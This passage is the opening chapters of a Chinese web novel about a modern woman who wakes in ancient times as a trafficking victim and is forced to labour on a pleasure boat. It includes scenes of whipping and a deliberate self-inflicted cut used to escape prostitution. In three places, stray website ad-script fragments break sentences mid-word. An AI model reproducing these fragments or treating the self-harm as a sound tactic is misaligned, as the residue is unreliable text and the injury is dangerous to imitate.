《古代船娘生存指南》 1. 第 1 章 雨打屋檐,陌生的空间里透着股水泡多日的酸腐。 褚朝云是被痛醒的。 就是那种拇指和食指同时将皮肉扽起,前后用力,拧着劲儿的快速一捻,几欲痛的人神经抽搐,眼眶涨热的感觉。 强行被弄醒的褚朝云尚未摸着头脑,一张口,熏人的霉味就钻进了她嗓子眼里。 褚朝云连连咳嗽,掐她大腿根的老妇嫌恶着闪身,手在流苏般水滑的绢帕上搓了搓,尖酸的哼出一声,毒蛇样的刻薄目光,又去寻找下个“施刑”的目标了。 痛劲儿刚消,褚朝云便感受到小腹前后绞紧似的抽筋,显然已不知饿了多少时日。 “阿姐……” “朝云妹妹……” 两声召唤同时响起,声音虚弱的也是出气多进气少。 老妇离去时踢上了房门,视线便重新黯淡下来,除却窗格里投来的一丝温吞白芒,屋内再无其他照明之物。 寻着声源,褚朝云偏头望去,似是一个姿势靠坐的太久,这一转头,脖子里那根筋都拽的痛些。 微弱白光下,她勉强能分辨出喊她的二人是哪两个。 主要这不看不知道,一看吓一跳,诸如她这般年岁的男男女女,东倒西歪坐了满屋子,大家伙个个饿的脸色灰败,好些男子的衣衫上还见了血,像是被鞭子狠狠抽过所留。 接收到了原主的部分记忆,褚朝云也算弄明白了出现在此的原因。 原主是褚家二房长女,下边还有个十岁的弟弟褚郁。 褚家长房、二房、三房同住一处,世代以耕种为生,长房大姐儿褚惜兰年芳十七,刚好大原主一岁。 原本几家相处和谐,可自从三房幺子病死,他们就跟长房和二房生了嫌隙。 得知小幺病重,村里大夫看不了,长房、二房当家的第一时间就套了牛车把小幺送往城里,奈何路途实在太远,城门还没等望到,人就已经不行了。 三房婶婶哭的惊天动地,破口大骂大房、二房“不是自己的娃就不尽心”,之后整整三月,都没和他们走动过一趟。 忽的一日,三房婶婶一改往日冷脸,竟眉开眼笑的邀褚惜兰去城里买布做衣裳,褚惜兰想着,这也许是个解开心结的好机会,就预备一家出一到两个代表,拉着原主和褚郁同去了。 褚朝云静坐片刻,忍饥挨饿的捋顺了一下事发经过,虽没什么力气深想,也知现下处境定与那三房婶婶有关。 难不成是一场报复? 可这里又是个什么地方? 褚朝云木然的看着远处女子,对方再次吃力的喊了声“朝云妹妹”,而后,就拽着褚郁踉跄的爬了过来。 三人在暗光下挤靠在一块,后背紧贴墙壁,墙壁触感潮湿,成片的青苔一层没过一层,随着三人的瑟缩时不时蹭到衣裳处,不过如今也没谁顾得上了。 褚郁小臂和腰腹处有伤,挤过来时龇牙咧嘴的抽气,显然是也没逃得过那一顿鞭子。 褚惜兰低泣两声,咬着唇抬起冰凉的手,依次去摸她和褚郁的脑门,见没发热,才呜咽着道:“还、还好没事,寻儿就是先前发了热,很快人就……” 褚惜兰说不下去了。 不过褚朝云知道,褚惜兰口中的寻儿就是三房的小儿子褚寻。 许是想到了伤心事,且那不知身份的老妇又没在,褚惜兰捂着嘴、身子一动一动的,哭的压抑又悲凄。 屋外几只鸦雀飞过,沙哑粗冽的叫声透入进来,屋内众人你看看我,我看看你,最后齐头望向褚惜兰,就也跟着一声高过一声的恸哭起来。 褚朝云无奈的闭了闭眼,费力的喊停他们:“大家伙都别哭了,留些力气吧。” 也省的哭声太响,把那老妇招来,岂不又是一顿毒打。 众人本就哭的谨小慎微,若非实在熬不下去,也不至于崩溃至此。 褚朝云贴着后墙尝试起身,总觉得腿脚绵软无力,她算是理解了方才姐弟二人“爬来”的行为了。 更多的记忆她实在没有,只记得三婶带着他们进城后,借口口渴去茶摊饮茶,再往后,她就像喝酒断片一样,脑子里只剩一片空白。 褚朝云这般想,手指抠着土墙艰难起身,又因支撑不住而栽倒在地,指甲劈断刮出血痕,痛的她嘶嘶吐气。 褚郁急的想要扶她,褚朝云胡乱撩开挡脸的碎头发,只得又靠坐回去。 旁的一名女子看不过眼,终于出声提醒她一句,“妹妹别白费力气了,药效未散,想逃是逃不出去的。” “姐姐还知道更多的事么?” 难得寻到个明白人,褚朝云一脸希冀的看向她。 女子轻点下头,低声应道:“也不算知道很多,我家乡遭灾父母双亡,本借住在大伯家中,奈何大伯家中困顿,他们便把我卖过来换些粮食,只是我实在不甘,路上想逃时就被这伙贼人给灌了药……” 褚朝云诧然,紧跟着又问了几人,便惊觉这一行人倒是各有各的来法。 不过多数人都知晓自己到此的因由,也就他们姐弟三人,算是囫囵着被拐过来的。 数个时辰后,有包着幞头的大汉提着木桶进来送吃食,发霉酸硬的馍挨个丢到脚下,在满是泥泞的地面打了个滚,大汉便又拎着空桶走了出去。 褚朝云捡起滚落到眼前的馍,嗓子眼拉拔着疼。 高材生毕业,大厂奋斗几年好容易攒够首付,去缴费的路上不幸遭遇车祸,乔迁喜宴还没办,睁眼第一顿饭竟然是个馊馍! 她招谁惹谁了。 褚朝云愣神之际,手里的馍就被人拿走了,褚惜兰扒掉三只馍的那层硬壳,将偏软的部分递回给她和褚郁。 褚惜兰木讷的嚼着那堆硬壳,泪无声陨落:“都怪我,要不是我硬拉着你们进城,也不会着了三婶的道,全都怪我……” 褚朝云望去一眼,心中五味杂陈。 想来原主体弱,受不得折腾已经先去一步,这才被她给占了身体。 褚朝云不是原主,不好妄断原主是否怪罪褚惜兰,她将手里的馍塞回一个,只低头吃自己的。 - 一夜后,大汉赶早来送吃食时,昨日露了一面的老妇也跟来了。 有恢复了半晌力气的男子想逃,大汉丢开食桶,抽出腰间的鞭子,对着那人便是狠狠一通毒打。 离门最近的女子趁空想跑,大汉却只是将其捞回,丢给那老妇处置。 褚朝云注意到,大汉的鞭子并没打算往女子身上落,而那老妇也只是对着女子隐晦的腿根处,用力掐了数下算作惩罚。 老妇嫌弃的踢了女子一脚,起身时,居高临下看向他们。 掐尖的嗓音细且刺耳,几番言语倒是讲清楚了他们的去处。 “李婆子我只管收人和教授之事,你们的来路我没兴趣知晓。今后上了船,各自干好各自的活,我省事,你们也能过的松快些。若是不老老实实的听话,中途折了谁,我就只当是倒了霉,银钱打了水漂罢了!” “最后再告诫你们一番,威逼利诱伤不了我,你们最好也别作那大死!!” 话毕,屋内鸦雀无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声。 褚朝云捏了捏身下布裙,试探着开口:“上船?去哪?” 李婆子哂笑,轻瞥她一眼:“如今药力也都散的差不多了,吃了饭,姑娘们就跟着我走,男子们跟着赵大去码头,多余的话,等到了地方再说。” 半敞的木门外,几名戴着幞头的大汉和赵大穿着一致,显然是奉命来看管他们的,褚朝云打消了逃跑念头,准备另想对策。 李婆子带着他们出院,辗转几个拐弯,又进了个封闭严实的大院子里。 方才一路过来,褚朝云也观察过,此地三面环水,有些像南方的烟雨小城。 夏末秋至,不巧今日多雨,憋闷的热气搅着过多的水雾股股粘在衣襟处,整个人便更加不舒爽起来。 码头三三两两的船只依稀停靠,只是那船不似渔船和货船,倒像是附庸风雅的花船,船檐簪了各色花团,红色的纱幔垂落,香风阵阵,外表的富丽奢华与这简陋闭塞的小院却是天壤之别。 很快,褚朝云就知晓了他们接下来要做的工作。 一个她从未听说过的职业——船娘。 李婆子一个个抬着他们的小脸观瞧,待走到褚朝云面前时,便皱着八字眉狠“啧”了声。 褚朝云黑瘦干瘪,个头在这个时代的女子中算是高挑,可面容实在不够出色,李婆子显然是看不上的。 之前被掐大腿的女子满眼畏怯的瞪向老妇,躲开对方伸来的手,颤声道:“你、你给我说清楚船娘到底是做什么的?若是那种腌臜事,我宁愿死都不会干!” 李婆子呵呵几声笑,像是有意要驯服她的烈性:“到了这蕤洲,山高皇帝远的,还由得你干或不干?” “这么说来,当真是那种腌臜事?!!” 女子听后,面色由惶然到惊骇,最后满眼都溢着绝望,不待李婆子再说什么,她便猛地推开人撞向墙壁,当场就昏死了过去。 土墙粗鄙,女子虽没撞断气,小脸却刮的血肉模糊。 李婆子躲避不及,手里的茶杯掉在地上,伴着茶渍摔了个稀碎。 褚朝云紧促的吸了口气,惊惧间瞥到李婆子错愕又不甘的表情,便趁其不备捡起两块碎瓷片。 迅速塞给褚惜兰一块的同时,她压着声道:“我有主意,惜兰姐姐只需跟着我做便是。” 褚惜兰不明所以,抓着那扎破了手心的瓷片不停颤抖。 昏死的女子刚被抬走,褚朝云也鼓起勇气朝着李婆子轻喊了声:“若是那种事,我也做不来……” 她声音不大,细听皆是恐惧。 不得不说,褚朝云是怕的。 毕竟买房的喜悦和激动还尚未消散,就毫无防备的跌进这呼救无门之地,这种打击对于一个没经历过太大风浪,整日两点一线的打工族来说,可谓是灭顶之灾了。 她凭什么要承受这一切? 褚朝云内心是愤怒的。 可怨天尤人有用吗? 想到这些,褚朝云豁出去的将碎瓷片抵在小臂上方,深深扎进皮肉,随着褚惜兰的那声惊呼一划而下,躲开了手背的血管,直接划到指尖处。 她赌大汉不敢用鞭子抽逃跑的女子,是因为怕女子身上留下伤疤。 她赌李婆子花钱买了他们,便不会舍得让他们轻易死掉。 褚朝云忍着剧痛和李婆子对视,做足了“输人不能输阵”的气势。 半晌,老妇笑了。 李婆子恼怒至极的磨了磨牙,声调狠叨叨道:“好啊,真好!又来一个有种的,那就把她也给我拖出去!” 2. 第 2 章 褚朝云听到这声呼喝,微微松了口气。 尽管大汉们动作粗鲁,不时还扯动到那小臂的伤口,可赌对了的褚朝云仍觉出一股说不出的庆幸。 今后的事,今后在筹谋。 眼下,她只管老老实实等着跟褚惜兰汇合就好了。 小院距离河岸的花船并不算远,此刻一波早集刚散,路面上除了一群拍手唱歌谣的孩童,几处零散的鸟叫,便只剩下些散乱的杂摊了。 如今世道,各行有各行的章法,即便有人看到她蓬头垢面被大汉押着的模样,也没谁敢去打听。 褚朝云跟着两名大汉来到河岸处,码头当间停着一艘最大、最显眼的花船,那船只板面极宽,船身两侧的船钉也甚是考究,被赤金的日头一照,折射出的光澄澄耀眼。 褚朝云刚被晃了下眼,前方大汉就踩着艞板走了上去。 很快,一名身着窄袖褙子,粗麻裙裤的女人便从暗仓走了出来,女人面容苍老,脸颊被风吹得粗糙泛红,头发被麻巾随便一绾,三十多岁的年纪倒显得有些干练。 “钟管事,李婆子说这人交给你了。” 大汉说完,便将褚朝云往前一推,而后就头也不回的离开了。 船上似乎比路面上偏冷些,股股而来的风不停撕扯她的皮肉,那道新划的口子被风一刺,牵扯的全身都跟着痛。 褚朝云不受控的打了个哆嗦,伸手遮住了血口。 钟管事扫去一眼,心知肚明褚朝云出现在这里的原因,只是她并未多言,抬手招褚朝云跟着走时,甚至还冷冰冰的剜了她一眼。 船面有些湿,像是刚清洗过一回,破草鞋踩在上面“咯吱咯吱”,一股清爽水植物的味道倒是不算难闻。 褚朝云老实跟着,从船身一侧的木梯下去后,除了视野愈加昏暗,这吸进口鼻的气味,“花样”也逐渐繁多起来。 汗酸脚臭,潮湿腐败,在压抑憋仄的空间内形成一股凝固的气流,让每一个下到这里的人,都被迫生出几分焦躁和坐立不安来。 暗仓走道过窄,只容一人通过,再加上褚朝云个头有些高,就更要低些身子缓慢的走。 窄道两侧皆是木头搭的简易隔间,棺材板子一样的小房间内,配有一张比手臂宽不了太多的木板床,床旁立着的脚凳勉强能放些物什。 褚朝云跟着钟管事一直走到尽头,女人转身面向她,指了指身侧的空房,“这是你今后的住处,安置好后上去找我。” 褚朝云瞧瞧空着的对间,心中思忖着褚惜兰会不会住在她对面? 钟管事离开后,褚朝云便打算坐在床板上歇歇。 她摸着黑的在一侧船壁上寻找,待适应这片暗后,果真发现个拉环状的装置,褚朝云抓着拉环用力向上,“咔哒”便将手掌宽的窄窗给推开了。 徐徐微风灌入,总算冲淡了几许异味。 倏然,一个叠的齐整的油纸包顺窗飞入,无声的砸落在她怀中,褚朝云条件反射的向外看去,可这只供透气的窗子实在太窄,她努力半天,也只能瞥到几双来回走动的鞋子。 显然,在船上做工的人活的很是艰辛,这些鞋子,竟没有一双是完好无损的。 她脚上这双是原主从家中穿出来的,本来是好的,但也因这一系列的折腾之后,光荣“负伤”了。 褚朝云动了动被污泥蹭的看不出本色的脚趾头,表情纠结起来。 想到那莫名而来的油纸包,也顾不上手疼,迅速打开后,就嗅到股浓烈的草药香味,粗略想来这是一包止血的药粉。 褚朝云无法断定这份好心来自于何人,暂在心中默默感谢一番,而后便忍着痛将药粉洒到伤口上。 不多时,血便被彻底止住了。 她没有急着出去,而是就着潮湿的床板躺下了,想来钟管事也不会计较这点时间,褚朝云便趁着空想多歇歇。 这边歇脚,那边也没闲着,一直在悄悄留意外间的动静。 算算时辰也该差不多了,可褚朝云却并未等到褚惜兰上船的消息,难不成—— 这么想着,褚朝云有些躺不住了。 倒不是她多担心褚惜兰,毕竟她不是原主,他们之间非亲非故。可人遭遇变故时,下意识想要抱团的心理任何人都有,褚朝云也一样。 再者说这短短一两日的相处,褚惜兰的性子她也摸了个几分,善良心软,或者换句话说就是好骗。 若非那个三婶熟知褚惜兰的为人,大抵也没把握这事能成,而原主和褚郁这两个倒霉催的,不过算是送的罢了。 褚朝云也能理解褚惜兰,都是自家亲戚,哪里会像防贼一样防着呢。 褚朝云怨恨自己摊上这破事的同时,也勉强能找寻点安慰,想来三车相撞她已是无力回天,既然意外到了这里,便就算作是天意吧。 既是天意让她获得了第二次生命,让她成为了褚家的女儿,那她也绝不会白白浪费这个机会。 褚朝云起身上去找钟管事,刚好见这女人跟赵大说着什么,她默默等在一边。 不多时,二人说完了事,赵大路过她身边时褚朝云下意识张了张口,她想问问褚郁的情况,不过赵大并没给她机会,甚至连看都没看她一眼。 褚朝云心想,反正都在同一处做工,还是等稳定下来再说吧。 单独面对钟管事时,褚朝云挤出一个比哭还难看的微笑,本想着伸手不打笑脸人,可钟管事并不买她的账,看着她的目光依旧漠然。 钟管事短促的打量她一眼后便移开了视线,随即语调敷衍,机械般说道:“船娘的活计分两种,”说着,似是又撇了她一下:“你是第二种。” 见褚朝云一副乖巧聆听状,钟管事继续道:“你们主要负责船只的清洗以及船上的杂活,偶尔也会给姑娘们做做饭食,若有客人想要游河,游河需坐小船,你们便负责摇橹,摇橹会么?” 听钟管事问,褚朝云忙应声:“我可以学。” 那就是不会。 钟管事听得出她的弦外之音,但也没当回事。 “陪同摇橹需换我发的衣裳,平日做活随便穿穿就得,如无准许禁止随意下船,月银十文,每月月初来我这处领取……”钟管事扯了扯嘴角,也不知这表情是在嘲讽谁,“这吃和住都在船上,其实也花不上什么银子。” 短短几句看似平平,可褚朝云还是被惊到了。 十文? 欺负她是头回穿越到古代吗? 过往在现世,半夜三更精神奕奕躲在被窝里看小说的画面还历历在目,剧情细节虽记不全,但古代一名小丫鬟的月例最次也在十五、二十文往上吧。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你们莫不是在白嫖劳动力?! 褚朝云张了张口,但出口的话却拐了弯:“敢问钟管事,第一种船娘要做的……是什么?请管事怜惜我还有姐妹在那间院子里。” 是的。 “工资不合理”这件事她还是没敢提。 现下已经沦落到要做苦工的地步,大汉们的鞭子也就无所顾忌了。 好汉不吃眼前亏,擅自冒头即为蠢。 似是料到她有此一问,钟管事几步过来,视线再度落向她手背那道伤。 女人语调轻慢冷薄,声音利的和性子一般干脆。 “既不知要作何,又为何自伤躲避?” 钟管事似笑非笑看向她。 褚朝云兀自垂了下眼,“想给自己争个主动权吧,我猜那不是什么好差事,否则李婆子也不会预先敲打一番了。” 有些小聪明还是没必要耍,难免弄巧成拙,所以褚朝云选择说实话。 钟管事表情未变,只错开视线淡淡道:“船娘与秦楼楚馆的女倌不同,虽是做些吹拉弹唱的活计,但你也不必想的太歪,花船的客人并不局限于男子。只不过么……” 女人略带深意的笑了声:“姑娘们即便没有月银可发,但若得了客人的赏,你们怕是攒上几辈子的月例,也是没法比的。” 说罢,钟管事看她一眼,像是有些幸灾乐祸:“现下知道了真相,可后悔了?” 褚朝云断然摇头:“并未。” 褚朝云黑瘦的面容透着坚决,不知怎的,钟管事看着看着便晃了下神。 “好了,去寻个闲人学摇橹吧。” 褚朝云应声离去,几步走到船身一侧,抬头望向上方足三层高的精致雅间,粗略的看了几眼。 …… 夜晚的红灯笼高高挂起,花船行至水中央,热热闹闹的雅间内,不时传来阵阵笑声与乐器鸣奏之音,水中倒影如一条分割线,一半是浮华灿烂,而另一半,学了整整半日摇橹的褚朝云,胳膊肘都累的肿起来了。 晚间风大,脚上的破草鞋堪称摆设,吹久了,每走一步都麻木钻心的痛。 原以为上船之后便不用再吃馊饭了,结果负责送饭的工人一来,褚朝云就认出了那只桶,俨然就是被关院子时,大汉手里提着的那款。 两只泛着酸气的馊桶,一只盛着硬馍,一只汤水发绿,说不好飘上来的到底是野菜还是水草,总之难闻的令人作呕。 而其余做工的船娘们显然已经习以为常,他们人手一只木碗,盛汤取馍,而后蜷到角落里一口口不知滋味的吞咽着。 褚朝云饿的胃绞痛,也被迫拿了只馍回到暗仓。 身下的木板床本就湿的生苔,窄窗的进风口一吹,冷气一股脑的往骨缝里钻。 褚朝云被冻得头皮发麻,脚趾死死抠住草鞋,这小窗关不得也开不得,开着吃饭要灌一肚子风,关上又黑的伸手不见五指…… 想到回房路过的其他隔间,无一人用得起油灯,便知那十文的月银屁用不当。 没来由的恼怒由心而发,褚朝云扔开那馍,趿拉着那双破鞋一路上木梯,大步走去了船尾。 她目光垂直的望着河面,一片片涟漪泛过,褚朝云手指狠狠攥紧,这种日子她实在过不下去,一定要想办法改善改善才行! 3. 第 3 章 苦了几日后,褚朝云总算摸透这条花船的规律。 花船营业虽在午时初,但他们寅时末便要起身准备,先逐个角落的清洗一遍上方三层雅间,而后才是早饭时间。 由于蕤洲不设宵禁,所以基本每晚,客人们都会畅饮至子夜。 褚朝云在天还未亮时便醒了,也不是她多有闻鸡起舞的精神,实在是冻得睡不实,还不如早些起来活动活动,身体还能热乎一点。 而起得早还有另外一个好处,便是不用抢洗漱间和茅房了。 由于船上做工的人多,管事的便在船头、船尾各设置一间茅房出来,船头隐蔽小仓的茅房是供客人们使用的,船工们则集体去船尾那处。 船尾茅房边上,栅栏样的木条简易围出一小块来,便算是一个简单的洗漱房了。 不过让褚朝云苦恼的事确实有点多,除却洗脸没有洗面奶,刷牙没有牙刷,更让她接受不了的便是如厕没有厕纸,而洗漱间还不能洗澡! 每每需要做这些事时,褚朝云的情绪便在“委屈”“无能狂怒”“崩溃想哭”“逐渐平静”中来回斗转,直至彻底妥协。 褚朝云从洗漱间出来,边走边用麻布包上了头发,几名揉着眼的起床困难户,一边小声打着哈欠,一边和她打招呼:“朝云,又起这么早啊?” “嗯,今天轮到我收拾雅间,我先去三层了,一、二层婶子们自己分分哈。” 褚朝云笑眯眯的说了句,低头拎上只木桶,一条粗布方巾搭到臂弯,人就自顾自的去一旁打水了。 身后二人听罢,先是讶异的望她一眼,直到褚朝云拎着大半桶水已经往木梯走时,二人才将要出口的“谢”字咽了回去。 船上规矩森严,并不允许他们大声交流。 由于最上的雅间需要多走两层梯,每每分活时,几名老迈的船娘便使出浑身解数百般推脱。 倒不是他们多想躲活,实在是年岁大了,又因常年住在阴暗潮湿的暗仓染了风湿,多走几步胳膊腿便会钻心的痛,就更别说还要提着桶水爬木梯了。 清洁雅间的工作是每人负责一层,十几名船娘轮换着来,基本每五日就会轮上一次,而今,刚好是褚朝云上船后的第二次。 褚朝云没把水装的太满,这样走的快些也不容易洒出来。 上到三层,她将水桶靠边放下,没急着进门收拾,而是站在船角不显眼的位置处往码头张望。 这几日下来,褚朝云一次都没在船上看到褚郁,不过凭着嘴甜、勤劳,一起做工的几名船娘也慢慢跟她热络了起来。 从他们口中,褚朝云得知了褚郁和褚惜兰的去向。 花船上平日所需的瓜果饮子,烹饪食材,姑娘们的衣裳首饰,以及配备的六博?投壶,鼓乐筝篌,皆是需要在城中购买添置的。 而褚郁他们那些男子,便是负责搬运这些货物的苦力。 清晨,正是上工之时,褚朝云努力的想要看的更清楚些,却依旧无法从那些戴着幞头的劳工中,寻到褚郁的身影。 不过她知道,褚郁就在那里。 而想到褚惜兰…… 褚朝云略微叹息一声,既然她当日没能等来堂姐,想必褚惜兰是没勇气自伤,便就只能留在那处院子里学习技能了。 就如李婆子讲的,“她负责教授”。 按照褚朝云的理解,雅间内的姑娘们大抵只是学些粗浅的,李婆子的“速成班”应该不会持续太久。 褚朝云将方巾在水桶中打湿,进了离自己最近的那间开始擦拭桌椅物什,残留的瓜果皮屑在每晚歇业后,就会提前清理出来,这会儿只要擦干净浮灰便好。 当然,褚朝云自愿来三层也不全是为了当圣母,除了想查看一下码头和院子处的动静,也是想了解一下环绕着蕤洲的这条蕤河。 毕竟站得高,才能看得远。 码头处,船只连接地面的艞板一侧,有赵大的人往来看守,即便得了月银,他们也没办法去集市上买吃食。 可眼下吃不饱穿不暖,每日活计又多如牛毛,在这么折腾下去,褚朝云觉得自己不被累死,也要饿死冻死了。 干完活之后,褚朝云绕离码头这边,辗转去了船尾那侧向下望。 蕤洲的河不算清澈,贴近岸边处,隐约还能瞥见水下的淤泥,这时节尚未冷到时候,成片的莲叶也依稀浮在水面。 褚朝云舔舔干涩的唇,跑去木梯处拎上水桶,一步一步的从上走下来。 下到一层边,正听钟管事过来喊人,“春叶姑娘昨晚多饮了几杯,现下胃里烧得难受,一会儿你去给她做些清淡的送去,她若是还想吃什么,你捡着能做的也再做几样。” 钟管事的话不是说给褚朝云听得,而是吩咐给了负责清洁一层的刁氏。 褚朝云来的时间短,钟管事暂不会叫她碰灶房的事。 刁氏四十多的年纪,厨艺在一众船娘里还算不错,且她是自愿来船上做工的,人又用的久,钟管事也不怕她会中途跑路。 雅间的姑娘们平时有自己的院子,也不住在花船上,所以乍听之下,褚朝云还有些好奇。 院子前便是集市,想吃什么吃不得,即便李婆子不允准他们上街,打发个人去买,不也成么? 她这么想着,待钟管事离开后,便也拉着刁氏问了一嘴。 刁氏见她肯主动去三层,对褚朝云的印象也比旁人好些,于是就压着声解释了几句,“原本是让买着吃的,只不过某次,有位姑娘贪嘴,明明身体不适还偏吃些油腻的,结果腹痛的晕了过去,那之后李婆子就不许了。” 褚朝云思忖片刻,笑道:“我瞧这一来一回也挺辛苦,我若能帮上什么,您就只管告诉我。” 刁氏叹了声:“没得什么要帮的,快要放饭了,你先去吃,忙了一早上也饿坏了。” “行,那我也给您打份饭回来,省的这通忙活还赶不上吃。” 褚朝云轻轻拍了一下刁氏的肩,人就轻快的走掉了。 刁氏明白褚朝云的心思,也看出这小姑娘的机灵,可她若是把人带出去,褚朝云再半道跑了,那她真要吃不完兜着走了。 但一想到褚朝云灿烂无比的笑容,刁氏又觉得会不会是自己太狭隘了。 总之,来这里做工的除了她较为特殊,其余哪个不想离开? 尽管褚朝云很和善,也依旧是人心隔着一层肚皮,谁也看不透谁有几根花花肠子,刁氏并不信任褚朝云,更不敢冒险。 褚朝云走去角落拿了只碗,平静的领了两块干馍和一碗汤,那汤她说死了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也咽不下去,但不能不给刁氏盛。 褚朝云回了暗仓歇息,将汤碗和一只馍馍放到刁氏隔间的脚蹬上,又猫着腰回了自己房间,直挺挺的躺了下去。 棚板镶的太矮,褚朝云猫腰久了,腰也开始隐隐作痛。 她的确有自己的小心思,但心眼也没那么坏。 褚朝云主动要帮刁氏,并没那么天真的认为刁氏会带她出去,她只是想光明正大的进厨房,这样日后进出厨房碰上谁,也就有个说辞了。 褚朝云学着褚惜兰的样子将干馍扒开,只吃其中偏软的部分,硬壳难以下咽,会割坏嗓子和胃,到时候身体出问题就更难办了。 反正目前,就见过的三个管事来说,她不觉得有哪一个会好心给他们看病,真要落下什么毛病,下场估计就是扯腿往哪处乱坟岗一丢,这辈子也就到头了。 褚朝云嚼巴嚼巴咽下干馍,打算闭眼小憩一会儿。 一刻钟后,两个婆子提着一大木盆的衣裳过来唤她,褚朝云嗅到木盆内的香味,得知这是楼上姑娘们的衣裳,倒也没洗的那么痛苦。 姑娘们的衣裳好歹没有破损,又干净又香。 而旁侧送饭回来的刁氏运气便不那么好了,她分到的是赵大那伙人穿脏的,臭气熏天且不说,洗好晒干后,还得把磨破的地方给补好才行。 褚朝云默默看了刁氏一眼,手下动作利落的干起活来。 晚饭褚朝云没吃,但也拿回来了一个馍馍,她今天干的活多,这会儿便得了更多空闲能休息。 褚朝云在房间里一直躺到花船歇业,灯火全熄,静谧的河岸处除了两名看守,其余人便都忙着会周公去了。 褚朝云起身想要往外走,顿了两步,索性把草鞋脱掉光脚踩到船板上。 夜色下,瘦弱的人影顺着窄道一路去向船尾,将衣摆撩起在腰上系出个兜网状,随后,就脚步放轻的扶着船梯偷偷下了水。 这条花船所在之处,附近只余一个码头,其余皆修成了柱形围栏,岸上与水面距离宽阔,没得可能从其他位置逃离,这也是为何赵大他们只守住码头那侧便能放心的缘故。 褚朝云偷摸下河,又兴奋又胆怯,一只脚才沾到水,就被冰的狠抽了口气。 她搭稳船梯倒没急着跳,而是用脚来回淌着水面,直到逐渐适应了温度,才一个猛子扎入水中,随即,便迅速往泥沙堆聚的岸边潜去。 果然技多不压身,褚朝云这会儿特别感谢自己当年的潜水证没有白拿。 褚朝云鱼一样的在水下穿梭,神不知鬼不觉的靠近那片莲叶,多日身上都没沾过水,她都快嫌弃死自己了。 游了半晌,身上、脸上包括头发都干净些后,褚朝云才觉痛快了点。 这会儿心情好了,她便伸着手往泥沙里抠,面上露着的莲蓬已经全被摘走了,她只能往水下想想办法。 褚朝云沿着泥垢子依次摸索,接连扑空几处也没有恼,多年的打工经历早就耗光了她性子里的冲动,如今剩下的都是耐性。 找了一小片未果后,褚朝云便往远离码头的位置慢慢游去。 又是半柱香的搜寻时间,结果依旧和方才一样,就在她打算放弃抠泥,想先找些能吃的水草果腹时,手心就被埋在土里的尖锐物轻刺了一下。 4. 第 4 章 褚朝云其实是想找些白胖莲藕的,哪怕生啃,也比强噎那硬馍要舒服点。 来时她已经有心理准备了,毕竟大家都是“靠山吃山,靠水吃水”,现下莲子、莲藕正是应季之物,铁定是会被人摘走不少。 但她还是低估了蕤洲人民的劳动能力,她都掘泥三尺了,也没见着一颗莲藕的影子。 原以为是碎石头扎手,褚朝云这么一扒拉泥,一只牛角状的绿色植物就落到了她掌心里。 摸着外层那和板栗外皮相似的软壳,褚朝云眼睛一亮,从水中捞起时便又搓涮几下,她浅浅往边上靠去,将那硬物对着月色一照。 竟然是菱角! 褚朝云喜上眉梢。 怕这小东西在掉回水里,褚朝云珍惜的将今日寻到的第一个吃食很小心的塞进衣兜内,又检查一遍临时系的衣兜的牢固程度,这才放下心来。 不过喜悦之后,她不免有些纳闷。 她对水生植物的知识储备不算多,但也知晓莲叶和菱叶是完全不同的两种植物,所以莲叶下怎么可能会生出菱角? 莫不是采菱的船路过此处,不小心掉下水去的? 白日褚朝云只是粗浅的往码头边缘瞧过一圈,这蕤河大的一眼根本望不到尽头,水面又被日光照的晃眼,她便误认为远处那一片绿,也都生的是莲叶了。 褚朝云晚间歇的久,还剩下些体力,再加上口中有望梅生津的渴求,想要吃食物的强烈欲望不停催促着她,褚朝云深吸口气,又一头扎入水中,往更远方向的那一片绿快速冲去。 没有船只她始终游不了太远,但这一次倒也没叫她失望而归。 片片菱叶下,大部分的果实虽都被采尽,但还是被她寻到些“漏网之鱼”,菱角被褚朝云装了小半兜,掂量着差不多够吃了,这才又神不知鬼不觉的悄悄潜回来。 未免身上的水滴到船板引起旁人注意,褚朝云挂在船梯上甩了半刻,然后才放心的回到暗仓。 整条船的暗仓有一半是他们的隔间,另一半则被作为仓库使用。 而一层内,也会留出几间房来,除却灶房,还有两间是专门腾出来给管事们的临时休息间。 管事们大都不留宿花船,但偶尔也有特殊情况。 至于剩下的房间,以及二三层,便全都是招待客人们的雅间了。 褚朝云在窄道上低身前行,两侧隔间的门几乎都被关上了,毕竟夜里风冷,有些做久了的船娘会将攒的银钱交给刁氏,求她送饭回来时帮忙带床被子,有些,则还同她一样睡那光秃秃的床板。 这些小打小闹的事,钟管事倒也不爱多理,反正能凭本事过的好些,少闹点病,他们也能更省事些。 不过新来做工的船娘,目前就褚朝云一个。 她将菱角掏出散乱的放在脚凳上,松开系紧的衣裳抻了几下,抻平褶皱后,才想起关门这事。 对着的隔间没开气窗,空空荡荡的有些凄凉,褚朝云关门前多看了一眼,也不知日后这里住的会是何人。 在水里时,褚朝云全部的精力都用在找吃食上,倒还不觉得冷。 可回来船上后,身上湿漉漉的,又被这小溜儿的风一下跟着一下的吹,褚朝云在喷嚏出口前,飞快堵住了自己的嘴。 她只得把小窗压下一半,又不能完全关上,免得没有照亮的物什。 脚干的差不多了,褚朝云蹬上草鞋,外裤脱下搭在床板一侧晾着,就着那么一点明亮,坐在脚凳前一下一下的开始剥菱角吃。 煮熟的菱角入口绵软,更有饱腹感,但很可惜她不敢去灶房里做。 不过生吃也脆甜的很~ 褚朝云一口口咬着剥好的生菱角,瞥一眼还搁在一边的硬馍,突然就咧开嘴低笑起来。 菱角真好吃! 菱角真甜啊!! 今后她褚朝云不但要吃菱角,还要吃遍这蕤洲……不,她要吃遍这整个大祁朝的所有美食!!! 饱餐一顿后,褚朝云情绪明显顺畅多了,她笑眯眯地把菱角壳和硬馍一并带去船尾,菱角壳丢进水中,硬馍则掰成小块来喂鱼儿。 …… 翌日一早,褚朝云从隔间出来前便把头发先包了起来,洗漱房虽然不能洗澡,但也是可以洗头的。 只是洗头用的皂角不太好弄,有些船娘会拿银钱和钟管事换,亦或是拜托刁氏给弄来些。 昨个褚朝云在水里泡那么久,哪怕没用皂角,头发干透了之后看着也格外飘逸,未免有人起疑心,她必须要谨慎些才行。 